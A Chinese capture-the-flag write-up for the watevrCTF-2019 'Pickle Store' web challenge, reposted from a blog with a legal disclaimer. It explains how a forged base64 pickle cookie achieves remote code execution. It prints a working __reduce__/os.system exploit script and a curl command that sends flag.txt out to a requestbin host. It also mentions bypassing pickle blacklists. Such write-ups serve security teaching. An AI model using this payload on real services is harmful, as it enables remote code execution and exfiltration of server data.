题目介绍
要有1000美元买flag,然后我们查看header,扫目录之类的操作,最后在cookie中发现问题~~
gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu
先试试base64解码~~
可以看见有些关键词还是很明显的,要么是经过某种加密,或者处理~~
根据题目pickle的提示,我们用python的pickle库去loads一下~~
我开始以为是要伪造cookie,让money变成1000以上就能购买flag了,但是pickle有key加密处理,这种加密方式为hmac,尝试过爆破,无果~~
最后在网上看见了pickle的反序列化的漏洞~~
exp
import _pickle as cPickle
import sys
import base64
COMMAND = sys.argv[1]
class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
print base64.b64encode(cPickle.dumps(PickleRce()))
这段代码就是我们的exp
执行方式为
python3 script.py 命令
windows和linux的运行方式不一样,由于服务器实在linux上,所以我们也必须在linux上运行这段代码~~
然后替换cookie,虽然会报500错误,但是命令还是执行了,我们找个vps,直接把数据带出来就行了
python3 posix.py "curl http://http.requestbin.buuoj.cn/1fl5yzt1?a=`cat flag.txt |base64`"
相关总结
python序列化还有一个库叫做marshal,也存在相关漏洞~~
有时后pickle时,题目会以黑名单限制,这个时候我们可以用map绕过~~
原文来自CSDN博主「HyyMbb」|侵删
![[watevrCTF-2019]Pickle Store pickle-解题步骤详解 [watevrCTF-2019]Pickle Store pickle-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/04/3-1651216680.png)
![[watevrCTF-2019]Pickle Store pickle-解题步骤详解 [watevrCTF-2019]Pickle Store pickle-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/04/2-1651216681.png)
原文始发于微信公众号(寰宇卫士):[watevrCTF-2019]Pickle Store pickle-解题步骤详解
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论